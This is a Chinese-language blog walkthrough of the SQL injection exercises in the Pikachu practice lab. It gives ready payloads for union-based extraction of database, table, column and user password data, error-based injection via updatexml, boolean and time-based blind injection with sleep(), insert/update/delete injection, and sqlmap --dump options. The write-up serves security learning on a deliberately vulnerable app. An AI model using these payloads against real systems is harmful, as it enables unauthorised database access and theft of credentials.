• SQL注入


    1、SQL注入

    1.1 数字型sql注入

    1)首先第一关这是post类型的,要抓包,在包里改

     

    2)发送到repeater模块,进行修改,实现重复发包的过程,加一个单引号,发现报错,因为知道这是数字型的,所以我们使用order by 看看他有几行数据

     

    3)我试了13发现是两行数据

     

    4)接下来就是union select id=2 union select 1,2

     

    5)发现确实改变了,有回显的数据,然后就是开始查询了,利用mysql自带的数据库information_schema进行查询,首先是当前数据库的名字:id=2 union select 1,database()

     

    6)然后是数据库中的表的名字:id=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()

     

    7)然后是查列名:id=2 union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'

     

    8)然后就是获取下全部的username passwordid=2 union select group_concat(username),group_concat(password) from users

     

    9)利用解码工具,解码

     

    1.2 字符型sql注入

    1)第二关是属于get类型的注入,直接在url里修改就可以了。

     

    2)基本过程都一样,先让他报错,再让他不报错

     

     

    3)判断列数

    4)获取表名

     

    5)查询下message表列名

     

    6)查表中内容

     

    7)这是内容,之前做xss的时候写入的js代码

     

    1.3 搜索型注入

    1)和之前没啥区别,但是他用了%来进行模糊搜索,我们构造闭合的时候,只需要注意下就可以了,对于添加不添加%好像没啥意义。。

    2)下面用一种比较直接的方式进行 or 1=1,这样就能查询全部数据

     

    1.4 xx型注入

    1)构造吧

     

    2or 1=1

     

    1.4 报错注入

    updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = database() limit 0,1)),0)

     

    1.5 insert/update/delete类型注入

    1insert可以利用在注册界面,输入用户名,构造payload

    abc‘ or updatexml(1,concat(0x7e,database()),0) or '

     

    2update类型主要应用在修改信息的页面,构造的payloadinsert类型基本相同

      

    3delete类型的会用到bp,可以知道这是一个get类型的,然后把id=69message给删除了

     

    然后我们可以把它发送到repeater模块,构造payload,利用报错注入可以得到我们想要的,注意使用url编码

     

    1.6 http header

    注入点一般在cookieuser-agent

     

     

    1.7 盲注

    1)布尔盲注

    盲注就是看不到报错信息的那种,然后你就得自己慢慢猜,可以直接用暴力破解工具来进行,下面是payload(select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 0,1)=1

     

    2)时间盲注

    时间盲注比布尔盲注更狗,至少布尔盲注你对了人家会给你返回一些信息,但是时间盲注。。。

     

    所以就需要我们使用一个函数:sleep(),可以测试,回答正确沉睡一会,错误直接返回

     

    就像这样,那我们可以用来测试爆一爆数据库的名字

    lucy' and if(substr(database(),1,1)='p',sleep(5),0)#

     

    我们知道是pikachu的,所以我们还是猜对了这个。。

    1.8 宽字节注入

     

    1.9 sqlmap使用步骤

     

    1

     

    2)获取当前数据库

    --current-db

     

    3)获取表 -D XX --tables

     

    4)获取字段

     -D XX数据库 -T--columns

     

    5)然后可以获取下users表中的username password

    -D XX数据库 -T -C字段 --dump

     

    牛逼!

  • 相关阅读:
    每周学算法/读英文/知识点心得分享 1.28
    ARTS 1.21
    ARTS 1.14
    ARTS 1.7
    ARTS 12.31
    ARTS 12.24
    Leetcode : Median of Two Sorted Arrays
    我是怎样改善遗留系统的
    《大话重构》免费送书活动开始啦
    我的新书终于要出来啦
  • 原文地址:https://www.cnblogs.com/pangsong/p/12487685.html
Copyright © 2020-2023  润新知